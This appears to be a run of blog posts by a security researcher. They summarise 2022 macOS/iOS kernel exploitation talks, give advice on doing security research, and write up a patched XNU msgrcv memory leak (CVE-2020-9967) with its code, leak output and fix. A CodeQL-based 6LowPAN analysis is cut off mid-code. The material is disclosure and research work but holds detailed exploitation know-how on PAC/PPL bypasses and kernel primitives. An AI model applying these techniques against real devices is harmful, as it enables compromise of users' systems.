In this post I will cover some of the presentations I found most interesting from a macOS/iOS kernel security research perspective in 2022.

Apple Neural Engine from POC 2022 (@_simo36)

https://github.com/0x36/weightBufs/blob/main/attacking_ane_poc2022.pdf

The Apple Neural Engine is the name for the energy efficient and high-throughput engine for Machine Learning inference on Apple Silicon. There has been previous security research into this by Wish Wu which describes the architecture and different components within both the software and hardware stack. _simo36’s research sets the background on the frameworks and tooling which is used to interface with the engine and the IPC communication mechanisms used. It then describes the compiler used to build ML models and the pipeline used. The kernel interface is then documented with all its attack surface and shows the path right through from userland to kernel, then to firmware.

_simo36 found a significant number of vulnerabilities within different components within the ANE architecture. He first describes multiple different classes of vulnerability for the issues he found (OOB write, integer overflow, improper index validation, signature check bypass etc).

The talk then moves into exploitation and building an arbitrary r/w primitive by chaining together 4 different vulnerabilities.

He also release the exploit for it here

Tales from the iOS/macOS Kernel Trenches from Zer0con 2022 (@jaakerblom)

https://github.com/potmdehex/slides/blob/main/Zer0Con_2022_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf

This talk covers some recent vulnerabilities patched within macOS/iOS. Specifically multiple issues in IOMobileFramebuffer and one in the XNU kernel itself.

The vulnerabilities discussed were (in IOMobileFramebuffer):

• CVE-2021-30883 - An integer overflow leading to a heap overflow reached from set_block selector
• CVE-2021-309XX - Multiple vulnerabilities also reached from the set_block selector and usable within Safari until 15.2 beta 3.

The talk discusses about how IOMobileFramebuffer is mostly just a wrapper for passing data to the DCP hardware. Bugs actually in the DCP firmware and not the kernel code itself. He then talks about weaknesses within the DCP lack of mitigations and how DCP exploitation leads to traditional kernel r/w primitives.

See Ian Beer’s talk for a lot more info about this (as documented below).

• The next vulnerability discussed is CVE-2021-30937 a core XNU bug. A set of racing bugs in setsockopt with improper locking which lead to a UAF.

Project Zero describes the bug in this issue tracker entry.

The talk then focuses on the primitives gained from this bug (a byte copy primitive) and how they can be used for exploitation. Throughout the different versions of iOS different techniques can be used to spray. Therefore this section of the talk discusses Recent Generic Kernel R/W primitives:

• ipc_port
• pipe buffers
• uio
• IOSurfaceClient (the method used by Simo too).

The talk then goes into discussing the different “capabilities” an exploit developer would require for exploitation, such as:

• How to kfree and iOS 15.
• How to know where controlled kernel memory is.

The next section details exploitation of the following CVE’s:

• CVE-2021-30883 - Using IOSurfaceClient technique (vuln)
• CVE-2021-30937 - multicast_bytecopy

The final section focuses on recent kernel mitigations on iOS 15.2-15.5 and how these can hinder an attacker.

Understanding Mach IPC from MOSEC 2022 (@realBrightiup)

https://github.com/brightiup/Trekking/tree/main/Slides

This talk starts with a Case Study of Project Zero’s issue 2107. A type confusion within the turnstiles leading to the kernel treating a host_notify_entry as an ipc_port.

The second case study is from Tielei with another type confusion where it was possible to mislead the kernel into believing the bound destination port in a special reply port is of type ipc_importance_task_t.

There are some key takeaways which can be draw from these issues.

The talk then coverts the background knowledge of mach ports and IPC (and how rights work). The talk then goes into a deep dive into how the XNU kernel manages IPC, how the locks are critical and the details of different send / receive rights.

I am not going to cover this one in detail, as Mach IPC is complex and the slides do a much better job of explaining it than I could.

AppleAVD from Hexacon 2022 (@isciurus @NikitaTarakanov)

https://github.com/isciurus/hexacon2022_AppleAVD/blob/main/hexacon2022_AppleAVD.pdf

This talk is about the Video decoding subsystem called AppleAVD. The talk starts off with an overview of the architecture and how the components fit together. The main focus of the talk is on the kernel component AppleAVD kext. The talk goes through analysis of this kext, the decoders implemented for parsing media within kernel space. The attack surface of the kext is analysed with its entry points and methods used for decoding / processing media.

The talk then goes through previously found vulnerabilities within AppleAVD both in-the-wild and issues found by other researchers. The talk then talks about their process for analysis and bug hunting within the kext’s (from both dynamic and static approaches).

They then talk about the process of fuzzing the decoders.

At the time of writing it seemed they didn’t find any vulnerabilities within the decoder implementation themselves from fuzzing. However, they identified CVE-2022-46694 a vulnerability within the outer kext logic which has now been patched by Apple.

Fugu15 - A deep dive into iOS 15 exploitation at OBTS (@LinusHenze)

This talk covers the creation of a jailbreak for iOS 15 (including 15.2 and up). Creation of a jailbreak has become significantly more difficult where one kernel vulnerability was previously enough, now PAC and PPL bypasses are required as well. The talk describes the vulnerabilities used in Fugu15, how the kernel exploit works and PAC and PPL bypasses. It also covers new mitigations introduced in 15.2, what effect these have on jailbreaking and how these were bypassed in Fugu15.

Youtube Video

Code

Notes on the four vulnerabilities used were as follows:

fastPath (code signing bypass)

• CMS signed by a certificate
• CoreTrust ensures that CMS blob is valid and that hash matches code signature
• Returns flags to AMFI to indicate cert type.
• CT returns success as long as the CMS blob looks valid even if signed is not trusted (not a vuln).
• AMFI rejects if the CT validation fails otherwise it checks the CT flags
• If its app store signed then this will be set a valid.
• userspace amfid then has a chance to verify the signer is trusted.

The vuln is that the flags are taken directly from the certificate (AppStore OID included in cert). No further checks on the signer are performed..

This was a regression (iOS 13 and below not affected).

** installHax - Wasn’t fully patched at the time.

The code for this exploit is here

This gets arb code exec on the device.

oobPCI (arbitrary kernel r/w)

• Vuln in DriverKit (drivers in userspace).
• Code signature bypass to grant the DriverKit entitlement.
• Low level access to PCI (for reading and writing PCI devices).
• Attacker controlled offset for a memory read/write (with no checks to determine if its within the mapping).
• PCI Memory Address used for mapping is deterministic.

Exploitation:

• Guess the offset to the physmap > Find the boot args region > Scan the initial page tables > Determine the offset of start address physmap and the current read address.
• As the physmap is located at an L3 boundary, can calculate the lower 25 bits of the PCI region via offset to the Physmap.
• Then we can scan the RAM to find IOMemoryMap corresponding to the PCI memory (using the low 25 bits calculated previously) to determine the PCI memory start address and determine kernel slide from this and the vtable.

However, on 15.2+ there are still mitigations which hinder full usage of the arb kernel r/w. Linus then goes on to talk about how he bypassed these as well with the following two vulnerabilities.

The code for this exploit is here

badRecovery (CFI/PAC bypass)

A CFI/PAC bypass via thread fault handlers (CVE-2022-26765).

As a reminder, Pointer Authentication Codes are a cryptographic signature for pointers which is used to prevent modification of the pointer/data. They are also used to implement control flow integrity (to prevent control flow hijacking). Thread fault handlers are a way to handle expected faults during data accesses. Kernel jumps to the handler when a data abort fault occurs.

These are typically used for things like copying data into kernel space (copyin), when an address would typically cause a panic if the thread fault handler was not set to handle this.

Linus identified a function where it does a normal return and not an authenticated return (and you can’t assume that the link register has the expected value and has not been modified).

I won’t go into the details of the exploitation here, as the process of exploitation is well explained within the video recording.

tlbFail (PPL bypass)

PPL bypass via improper TLB flush

The final vulnerability within the chain and to bypass the last mitigation is a bypass of PPL. To recap PPL is the Page Protection layer which protects signed userspace code and some kernel data from being modified. It is a higher privilege level than the kernel.

PPL also manages the page tables to prevent the kernel from mapping PPL-protected data and provides some methods for mapping and unmapping memory (but with checks to ensure your not trying to map PPL-protected memory).

Nested Page Tables

• Large DYLD shared cache mapped into every process
• Page tables are reused (shared) across multiple processes to save memory.

Translate Lookaside Buffer

• Caches virtual to physical address translations
• TLB needs flushed when changing page table entries to prevent CPU using cached entries.
• TLB entries have an address space ID (ASID) to limit flushing of the entries for only the page tables modified

He then covers the code for the logic of flushing the TLB.

The question is what happens in the case of a PPL TLB flush? He then manages to modify the mappings in such a way that one process has access to Page X via the TLB (but with a refcount of zero) and to tell PPL that it now owns this page and forces reuse of it (as an L3 page table). Using this stale TLB entry it is possible to map page X by creating a new translation table entry and thus allowing mapping PPL protected memory.

The talk finishes off by demo’ing the exploit.

The Journey To Hybrid Apple Driver Fuzzing from POC 2022 (@Peterpan0927)

https://github.com/star-sg/Presentations/blob/main/POC%202022/Zhenpeng%20Pan.pdf

The talk starts off by covering Apple Security Enhancements from a high level for the XNU kernel and the fact that these mitigations make exploiting UAF and type confusion much harder or unexploitable in certain scenarios. Therefore proposed that drivers will be a much more valuable target than before.

He reviewed many POCs for drivers with the idea of building a fuzzer using code auditing and fuzzing together. The first tier of the fuzzer does lightweight collection of all reachable services and generates a second tier to do enhanced fuzzing based on code audit.

He found multiple bugs this way, such as CVE-2021-30923/CVE-2022-22661/CVE-2022-32814 and over 15+ DOS bugs with others in the pipeline.

Finally he covered some details of non public bugs found by the fuzzer and future plans together with an vulnerability which gives a 100% stable info leak of the kernel slide on macOS 13 together with a novel info leak attack surface.

This talk was interesting for me, as back in 2017 slides I developed a fuzzer using similar hybrid approaches which was also effective in finding multiple issues in the kernel. However, this talk highlights recent vuln’s found and the code patterns which can be implemented in the fuzzer or reviewed for to find.

Abusing iPhone coprocessors for Privilege Escalation at OBTS (@i41nbeer)

Youtube video

We are starting to see much more interest into the separate co-processors, peripherals or firmware recently on mobile devices. This includes in-the-wild attacks. Ian’s talk provided a technical deep-dive into how this in-the-wild exploit escaped the iPhone sandbox via a novel 0-day in the custom Apple co-processor.

• Starts off the talk showing how a user is phished into installing a fake mobile operator application which is signed using an enterprise certificate.
• Curious attack because it looked like the mobile network data was actually being disconnected via the operator.
• Reversing the application showed that it was containing multiple exploits (including public ones from GitHub etc). sock_puppet, time_waste, lio_listio, AVE decoder
• However, contained two more 0-day exploits (when the sample was found)..
  • CVE-2021-30883

• And the DCP 0-day the talk was about.. (CVE-2021-30883)

• Exploit had a bunch of printf statements in it which hinted how it worked, especially DCP (display co-processor) which handles low level display stuff on a separate piece of Apple silicon.
• ARM64 Mach-o binary for the firmware
• IOMobileFramebuffer functionality got moved out from the kernel into the DCP.
• A lot of the code literally got moved into the RTKit world.

• At the time of the talk (don’t know if this has changed now!) it had No PAC, ASLR, Predictable Heap Addresses,

• Ian then goes on to describe how you communicate with the DCP.
• Userland > Kernel > DCP (Deserialized and reserialized in the process).
• DCP and DDR controller

• IOMMU / SMMU / DART (he the describes how an IOMMU works) and how it can be used as a security boundary.

• EL1 kernel code to DCP conversion.
• Exploit was building fake objects on the DCP to make kernel helper RPCs to map arbitrary memory such that from userspace they could read and write kernel memory.

Then finally he talks about the actual vulnerability itself:

• Uniformity Compensation
• Memory corruption described here
• Mitigations regression or engineering trade-off’s moving onto low powered cores.
• DCP/AVE/SEP/AOP/U1/AGX/ANE/BLE/WiFi (other co-processors / dedicated radio hardware etc)

Others presentations:

There are some other talks I didn’t have time to cover in this issue but are also worth checking out.

• Life and death of an iOS attacker by Luca Todesco - https://www.youtube.com/watch?v=8mQAYeozl5I
• A journey of hunting macOS kernel vulnerability by Peter NGUYỄN Vũ Hoàng - https://github.com/star-sg/Presentations/blob/main/Zer0Con%202022/A%20Journey%20Of%20Hunting%20macOS%20kernel.pptx

Some of the commonly asked questions asked are:

• How to get started within security research?
• What topics do you think are worth researching?
• How do you approach a new topic initially?

There is no one size fits all answer for this and a lot of this post is just what works for me. However, there are some key points to consider and tips to give. This is mainly written from the perspective of a non-academic offensive security researcher, who has done security research both for a free time hobby and as a career. XPN started a twitter thread on this recently and this just goes to show how varying sources of motivation inspire others. Yarden Shafir also detailed the creativity in security research.

From a career perspective, I also think this is one of the paths which is less clear to get into and what exactly “security research” is. There’s also a wide variety of what you would call “security research”. Some do this entirely in their free time, others dedicate certain time components to it and others are fortunate to have it as their full time career. There’s also the fact that this spans from something like bug hunting to all the way to academic publications and professorships. Regardless of what you consider security research to be, there are some key takeaways when working on more novel security areas.

I will aim to cover the first two points in this article, part 2 will cover the approach in more detail. I also will give a concrete demonstration of a real research project and the approach taken.

Topic Selection

Probably the most important thing when embarking on security research is what topic should this be in?

Here are some key areas which may help guide this train of thought.

Enjoyment

Look into something which you care about

This is the most important thing! You are not going to do your best work if you are not interested in the subject or you are led down a path by someone else which is not right for you. There are lots of reasons why people find inspiration or end up choosing the area they do and this is very individual. However, here are some examples:

• See a technology on a pentest engagement which there has not been much published on or any tools available for?
• Have you worked in another industry previously and have in depth knowledge in something unique or know people who do?
• Listen to others who either encounter a problem in a certain area and need help. (This one’s the more controversial one, as others can often have different incentives, however, if you can provide value and also find it enjoyable in the process, then this is a win win for both parties).
• Proving a statement or assumption wrong. This is the typical “hacker” / adversarial mindset but massively helps with security research as it is basically providing assumptions or threat models wrong or inadequate.
• Investigation of in the wild tools, techniques and procedures used by threat actors.
• Spot an area for improvements either from a defensive or offensive perspective or a common problem an organisation has.
• See a talk which inspires you to dig more into a subject.

It is worth mentioning that a lot of more experienced researchers have way more ideas than they have time available to spend on these things. Whilst asking for advice is advantageous and can help focus initial thoughts and provide some background into what has been done before, the topic really needs to be driven by your own personal interests and curiosity.

What’s hot and what is interesting to you

There will always be trendy topics within security research. In the past, mobile was a big thing, then cloud was flavour of the week, now Web3 is all over the twitterverse and conferences are starting to dedicate categories to it.

The way I see it is that ultimately the technologies are still built on the fundamentals of computing. To have a non-surface level understanding of these technologies, the basics like programming, networking and operating systems are really important. Once you get started in one area, transferring those skills to the flavour of the week/month technology is very achievable. Sure, it may take some time, but in my opinion it is much harder to go the opposite way.

Those who are more experienced security researchers can pick up a topic and make an impact very quickly based on all the prior knowledge. As a concrete example, reviewing web3 smart contract issues is massively aided by just generally understanding application security and common vulnerability classes. A lot of this is just being able to move up and down the abstraction layers.

Business Needs

Whilst a lot of security people get into security research mainly because of their interest and the fact that it is basically a hobby, a lot are very fortunate to have companies support the research or need it for product and service development.

Obviously the more your research topic aligns with commercial needs, the more likely support and backing is available for you. This is a really large topic and really depends what the business purpose is. However, some things to think about could be:

• How does the research contribute to services / product development / marketing?
• Is the research going to enhance skills / knowledge etc?

In general though, the security research you do often takes a while to translate into tangible things and it’s often difficult to directly correlate the two. For example, you may present a research topic and win business from it.. that is measurable and the impact obvious. However, you may also release something, feel like it’s gone unnoticed, then many years down the line find out it led to the recruitment of someone or your whitepaper is the de-facto reference material for a certain subject. That’s why I think it’s important to take a longer term view of these things and not dwell too much on the immediate short term impact.

From a purely getting research done perspective, unless your job is primarily to manage and organise and shape the direction of this, then overthinking this can lead to procrastination and hinder productivity but it does help to have this in the back of your mind.

Brainstorming and Collaboration

At the start of every project it makes sense to sit down and brainstorm about possible approaches and what has been done previously. This ties into the background research section I have covered below. However, here are some key points:

• Discuss what you are thinking of doing with other people. They may highlight areas you may not have considered or may not be aware of. An example of this may be doing a whiteboard session. This also really helps when you face a setback or deadend. Some of the best exploit ideas have come from discussions with others having previously hit a wall.

• In the past, a large amount of security was discussed on IRC. Times have changed and technologies have moved on. These days the most visible public discussions occur on twitter, discord and slacks. These mediums are good for building up initial dialog between researchers but networking at conferences and other face to face events is very advantageous when aiming to collaborate on a project.

• Share your work and get feedback (CFP reviews etc).

It’s good to share your work early. If you are writing a CFP for a conference, get feedback from both people who know the area well and also those who know nothing about the area. Writing a good CFP entry itself is challenging and there are things which affect the chances of acceptance.

Motivation and Mindset

Anyone who does vulnerability research knows it can be a rollercoaster of emotions. The research output you see at conferences often only shows half the picture and can gloss over all the failure in reaching that goal.

The many weeks of not finding anything, thinking you found something, finding out something is not exploitable, finding out the bug you found just got patched etc.. The very temporary buzz you get from getting code exec. Then back again and repeat all over =)

Mark Dowd OffensiveCon presentation has covered a lot of this recently from a vulnerability researcher perspective and the slides are a very recommended read so its not worth duplicating here. In a future post I will talk about some of the failures in getting to the goal for a concrete topic.

Focus

One thing I need to cover for security research is focus and distractions. Whilst you can achieve reasonable results dipping in and out on a long term research project, personally I find too much context switching can massively impact my performance. With that said, sometimes it does make sense to switch to another project temporarily to achieve a sense of accomplishment after hitting a wall for so long. The knowledge built up from the initial project will be there and especially in cases such as actively developed codebases may lead to new vulnerabilities being identified which were not there previously.

As a practical example, it is also very challenging to go from being deep within the Linux kernel and then switch to an entirely different platform temporarily. I will cover more about this in the note taking section below.

There is also this concept of deep work vs shallow work. Deep work is the ability to focus without distraction on a cognitively demanding task. With so much of the modern world fighting for your attention it’s very easy to perform shallow work. Whilst things like twitter, slack etc are super advantageous keeping up to date with what’s going on. Notifications and random miscellaneous tasks can destroy this deep focus work. For this you need to build time management strategies which work for you.

Research Goals and Skills Growth

Having a good set of tangible practical goals for what you want to achieve is beneficial. However, I think you need to set these goals at a level which is appropriate and your existing knowledge level and experience. The goals need to be something which challenges you and are by no means guaranteed to be successful.

For someone just starting out in their research path then examples could be:

1. Publish an article on a blog.
2. Release a tool to do X.
3. Find an 0day in software Y.

Some examples of harder research goals could be:

1. Present your research at the top technical conf’s in the industry.
2. Write a book on the subject
3. Win Pwn2own in the X category.
4. Aim to win a high prize in a top bug bounty (e.g. a perceived hard target).
5. Develop a mitigation for X class of vulnerability

Ultimately if you set your goals correctly and achieve them, then on the way there you will experience skills growth.

Impostor Syndrome

It is worth touching on this because I think everyone within the security industry feels this at some period of time, some more than others.

When you start off researching and know very little about a subject, then there’s obviously going to be people out there who know way more than you. Even after a long time researching a subject, there can be people who are hyper-specialised in that area who still know far more.

Ultimately, there’s always going to be someone who’s more technical or likely knows more about you than a subject. (Although admittedly, in certain areas of really niche security research you may be one of the handful of people in the world =)).

Therefore, I think it’s important to look back and understand all the things you have achieved. Your research project may not go as well as you had hoped but there’s always more to do and other areas to explore. Getting some short term tangible output from it can really help with the longer term motivation and feelings of accomplishment.

Likewise, seeing other respected researchers within the industry ideally should be more motivational and help with the mindset of wanting to be “at that level” rather than being demotivational. I guess it’s easy to say this but perhaps hard to realise this in practice.

We stand on the shoulders of giants as they say!

Research Notes

Research note record keeping is a big thing, having tons of files called a.txt, b.txt, lolz.c, uaf.c is not really scalable after a while :) Since I started writing notes in markdown and using version control for tracking and development, then being able to come back, review and update at a later stage is super useful. As research is an iterative approach and that you may often reach a dead end, being able to go back and pick up different areas is super important.

I find maintaining a list of previous research on a topic useful and try to do this for each area I look at. This is normally composed during the background research performed (section below) and updated once I become aware of new papers.

Some good public examples of these which accept PRs are:

• Linux kernel examples
• Exploit mitigations

Background Research

The first thing I do when embarking on a new research project is review all the material which is already out there on that subject. As an example, recently I had been working on Windows Kernel exploitation, so going through recent conference presentations, whitepapers and blog posts to understand whats already out there was super important. As I had more recently been looking at macOS related stuff, my windows knowledge was a little rusty and it’s pretty hard to carry around multiple platforms security aspects in your head at all times =)

Some of the main sources of information I use are:

1. Conference output
2. Blog posts
3. Academic papers
4. Bug tracking systems
5. Source code history

Conclusion

In part 1 of this blog, I hope I raised some useful points and have helped demystify some of the thought processes which go on prior to and behind the research. Expect a more concrete example from a past research project in the near future.

References

[1] Mark Dowd - OffensiveCon Key Note

[2] Yarden Shafir - Security Research and the creative process

[3] XPN - random twitter thread

The vulnerability was patched in the following releases:

• macOS 11.3
• iOS 14.5

Vulnerability Details (sysv_msg.c)

The msgrcv_nocancel syscall takes as part of its arguments the message size from userspace as msgsz

int
msgrcv_nocancel(struct proc *p, struct msgrcv_nocancel_args *uap, user_ssize_t *retval)
{
	int msqid = uap->msqid;
	user_addr_t user_msgp = uap->msgp;
	size_t msgsz = (size_t)uap->msgsz;      /* limit to 4G */

If the size requested by userspace is greater than the size sent to the kernel initially (using the msgsnd function) then msgsz is truncated to the sender size.

	if (msgsz > msghdr->msg_ts) {
		msgsz = msghdr->msg_ts;
	}

A loop is then used to copyout this data from the kernel msgpool into userspace:

	for (len = 0; len < msgsz; len += msginfo.msgssz) {
		size_t tlen;

		/* compare input (size_t) value against restrict (int) value */
		if (msgsz > (size_t)msginfo.msgssz) {
			tlen = msginfo.msgssz;
		} else {
			tlen = msgsz;
		}
		if (next <= -1) {
			panic("next too low #3");
		}
		if (next >= msginfo.msgseg) {
			panic("next out of range #3");
		}
		SYSV_MSG_SUBSYS_UNLOCK();
		eval = copyout(&msgpool[next * msginfo.msgssz],
		    user_msgp, tlen);

msginfo.msgsize is #define MSGSSZ 8 /* Each segment must be 2^N long */

If we examine the check in more detail we can see that if msgsz > (size_t)msginfo.msgssz i.e if the sender message size is greater than 8, then tlen will be set to 8. 8 bytes will then by copied out from kernel space to userspace and the len count incremented by 8 bytes.

As this size is controlled as a userspace argument to msgsnd, there is a problem here if the msgsnd SYS_msgsnd_nocancel is not a multiple of 8.

For example, if we use SYS_msgsnd_nocancel of 9 bytes which will set the msghdr->msg_ts to 9. Therefore tlen will be set to 8 bytes on each iteration of the loop. Therefore the first loop will copyout 8 bytes, then second loop will copy out 8 bytes and the loop will terminate. This will lead to 7 bytes being leaked. This primitive gives an attacker the ability to leak out between 1 and 7 bytes of uninitialized data following the sent message.

As the message pool memory is MALLOC’d without the M_ZERO flag being set:

msgpool = (char *)_MALLOC(msginfo.msgmax, M_SHM, M_WAITOK);

As an example we can set msgsnd msgsz as 17, this will copy 2 segments each of 8 bytes (starting at 0x41), then a segment containing 1 byte of sent data and the final 7 bytes leaked data.

We can see this has been initialized with the fill pattern of 0xbe under the KSAN kernel, demonstrating disclosure of the uninitialized kernel memory following the sent message:

msgid is 65536
Vuln:
  0000  03 00 00 00 00 00 00 00 41 41 41 41 41 41 41 41  ........AAAAAAAA
  0010  42 0b 85 ea fe 7f 00 00 32 be be be be be be be  B.......2.......
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0080  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0090  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  00a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  00b0  00 00 00 00                                      ....
Leaked address: 0xbebebebebebebe32

Under KASAN:

panic(cpu 0 caller 0xffffff8001b05179): "KASan: invalid 7-byte leak from 0xffffff803891d001 [VALID]
 Shadow             0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
 fffff7f0071239b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 
 fffff7f0071239c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 
 fffff7f0071239d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 
 fffff7f0071239e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 
 fffff7f0071239f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 fffff7f007123a00:[00]00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f007123a10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f007123a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f007123a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f007123a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f007123a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

"@/AppleInternal/BuildRoot/Library/Caches/com.apple.xbs/Sources/xnu_kasan/xnu-6153.141.1/san/kasan.c:509
Backtrace (CPU 0), Frame : Return Address
0xffffff8866ccf440 : 0xffffff8000473134 mach_kernel : _handle_debugger_trap + 0x384
0xffffff8866ccf490 : 0xffffff800081047c mach_kernel : _kdp_i386_trap + 0x15c
0xffffff8866ccf4d0 : 0xffffff80007fc537 mach_kernel : _kernel_trap + 0xa87
0xffffff8866ccf560 : 0xffffff80008171d0 mach_kernel : trap_from_kernel + 0x26
0xffffff8866ccf580 : 0xffffff8000472a2e mach_kernel : _DebuggerTrapWithState + 0x4e
0xffffff8866ccf6a0 : 0xffffff8001af5646 mach_kernel : _panic_trap_to_debugger.cold.1 + 0xa6
0xffffff8866ccf6f0 : 0xffffff8000473636 mach_kernel : _panic_trap_to_debugger + 0x156
0xffffff8866ccf740 : 0xffffff8001af5294 mach_kernel : _panic + 0x54
0xffffff8866ccf7b0 : 0xffffff8001b05179 mach_kernel : _kasan_report_internal.cold.1 + 0x19
0xffffff8866ccf7c0 : 0xffffff8001aea3cd mach_kernel : _kasan_report_internal + 0x34d
0xffffff8866ccf840 : 0xffffff8001ae7f13 mach_kernel : _kasan_crash_report + 0x33
0xffffff8866ccf870 : 0xffffff8001ae7a17 mach_kernel : _kasan_violation + 0x277
0xffffff8866ccfa30 : 0xffffff8001ae7bd1 mach_kernel : _kasan_check_uninitialized + 0x161
0xffffff8866ccfc30 : 0xffffff80007dc2be mach_kernel : _copyio + 0x27e
0xffffff8866ccfd50 : 0xffffff8001558383 mach_kernel : _msgrcv_nocancel + 0x9f3
0xffffff8866ccfee0 : 0xffffff800178fc20 mach_kernel : _unix_syscall64 + 0x890
0xffffff8866ccffa0 : 0xffffff8000817996 mach_kernel : _hndl_unix_scall64 + 0x16

In the fix we can see the following change was made to copy a full segment or less if at the end of the message:

	for (len = 0; len < msgsz; len += msginfo.msgssz) {
		size_t tlen;

		/*
		 * copy the full segment, or less if we're at the end
		 * of the message
		 */
		tlen = MIN(msgsz - len, (size_t)msginfo.msgssz);
		if (next <= -1) {
			panic("next too low #3");
		}
		if (next >= msginfo.msgseg) {
			panic("next out of range #3");
		}
		SYSV_MSG_SUBSYS_UNLOCK();
		eval = copyout(&msgpool[next * msginfo.msgssz],
		    user_msgp, tlen);

The issue was reported to Apple on the 11th of May 2020.

This issue was assigned CVE-2020-9967 and the fix included within the following security update:

• macOS Big Sur

On the 5th of December 2020, Apple stated that the CVE had been published for all applicable platforms.

Bug Discovery

In XNU, inbound and outbound network packets are stored within a unit of memory management called an mbuf. The data is typically read or written to mbuf’s by the OS’s networking stack code.

My thought process was that I could define a simple taint tracking query to find any untrusted sources of network data (the source) which would end up tainting the size argument of a memory copying operation (the sink). I initially started by modifying the query from here to look for the source m_mtod and the sink builtin___memcpy_chk. This lead to no results being found. However, within XNU bcopy is used quite heavily, this ends up as builtin___memmove_chk so the query was modified as follows:

import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis

class Config extends TaintTracking::Configuration {
  Config() { this = "sixlowpan_flow" }

  override predicate isSource(DataFlow::Node source) {
    source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"
  }

  override predicate isSink(DataFlow::Node sink) {
    exists (FunctionCall call
    | call.getArgument(2) = sink.asExpr() and
      call.getTarget().getName() = "__builtin___memmove_chk" )
  }
}

from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "memmove with tainted size."

Running this query gave me about 15 results with the vulnerability I identified being one of them.

Looking through the results I identified this this flow worthy of manual investigation:

1	call to m_mtod 	if_6lowpan.c:623:2
2	len 	if_6lowpan.c:663:41
3	ref arg & ... [payload_len] 	if_6lowpan.c:663:46
4	& ... [payload_len] 	if_6lowpan.c:666:19
5	ieee02154hdr [payload_len] 	sixxlowpan.c:882:38
6	ieee02154hdr [payload_len] 	sixxlowpan.c:886:32
7	ieee02154hdr [payload_len] 	sixxlowpan.c:819:43
8	ieee02154hdr [payload_len] 	sixxlowpan.c:855:7
9	payload_len 	sixxlowpan.c:855:21
10	... - ... 	sixxlowpan.c:855:7

This demonstrates the power of having customised CodeQL queries available for a code base to identify common bug patterns.

Before I dive into the vulnerability I found here, it helps to have some background of 6LowPAN.

6LowPAN

It turns out as part of macOS Catalina 10.15, Apple quietly introduced support for 6LowPAN 6LowPAN and IEEE 802.15.4 into the XNU kernel. Any substantial changes introduced into xnu warrant investigation as those are likely source of new vulnerabilities being introduced. 6LowPAN stands for “IPv6 over Low-Power Wireless Persona Area Networks”, which as implied by the name is a networking technology which allows IPv6 packets to be effectively carried within small link layer frames such as IEEE 802.15.4.

The relevant RFCs for this protocol are RFC4944, RFC6282 and RFC6775.

To give some background, IEEE 802.15.4 is the standard which defines the operation of low-rate wireless personal area networks (LR-WPAN) and specifies the physical layer and media access layer for LR-WPANs. 6LowPAN extends that standard by providing the upper layers not defined in 802.15.4. A popular IoT protocol Thread makes use of 6LowPAN, which incidentally Apple joined the Thread Working Group in 2018… :).

In the context of the XNU kernel sources, frame802154.c contains the implementation of 802.15.4 frame creation and parsing. if_6lowpan.c contains the code related to a 6LowPAN network interface and sixlowpan.c the 6LowPAN compression and uncompression. Large parts of this have been taken from the Contiki OS with Apple modifications and wrapper code.

There is no public documentation on this and the only public mention is regarding Thread HomePod mini.

IEEE 802.15.4 Frame Format

Layer 2 (the MAC layer within the stack) is defined within IEEE Std 802.15.4-2015 in the ‘General MAC Frame Format’ section 7.2:

The frame control field is as follows:

IPv6 packets MUST be carried on data frames. These details will be important when we discuss the parsing of this within the XNU codebase in the “Vulnerability Section”. One the frame has been parsed to determine the header, then the payload section is handled.

LoWPAN Payload

Due to a full IPv6 packet not fitting within a IEEE 802.15.4 frame, an adaptation layer must be provided to comply with the IPv6 requirements of a minimum MTU. The standard also defines the the use of header compression, as it is expected that most applications will use IP over IEEE 802.15.4

The LoWPAN payload (e.g., an IPv6 packet) thus follows the encapsulation header as described above.

Its worth keeping in mind that an IPv6 header is 40 octets long too.

In the initial standard, LOWPAN_HC1 compressed IPv6 datagrams are defined. This means that 6LowPAN payloads are compressed when recieved. This too will be an important observation when understanding the vulnerablity.

Data Link Layer Dispatching

The question is, how do we get 6LowPAN frames to an Apple device and will they be handled automatically? Digging into the code we can see the ability for the data link layer to dispatch frames of this type.

Initially we can send an ethernet packet which will be handled by the demux function:

int
ether_demux(ifnet_t ifp, mbuf_t m, char *frame_header,
    protocol_family_t *protocol_family)
{
	struct ether_header *eh = (struct ether_header *)(void *)frame_header;
	u_short  ether_type = eh->ether_type;
	u_int16_t type;
	u_int8_t *data;
	u_int32_t i = 0;
	struct ether_desc_blk_str *desc_blk =
	    (struct ether_desc_blk_str *)ifp->if_family_cookie;
	u_int32_t maxd = desc_blk ? desc_blk->n_max_used : 0;
	struct en_desc  *ed = desc_blk ? desc_blk->block_ptr : NULL;
	u_int32_t extProto1 = 0;
	u_int32_t extProto2 = 0;

	if (eh->ether_dhost[0] & 1) {
		/* Check for broadcast */
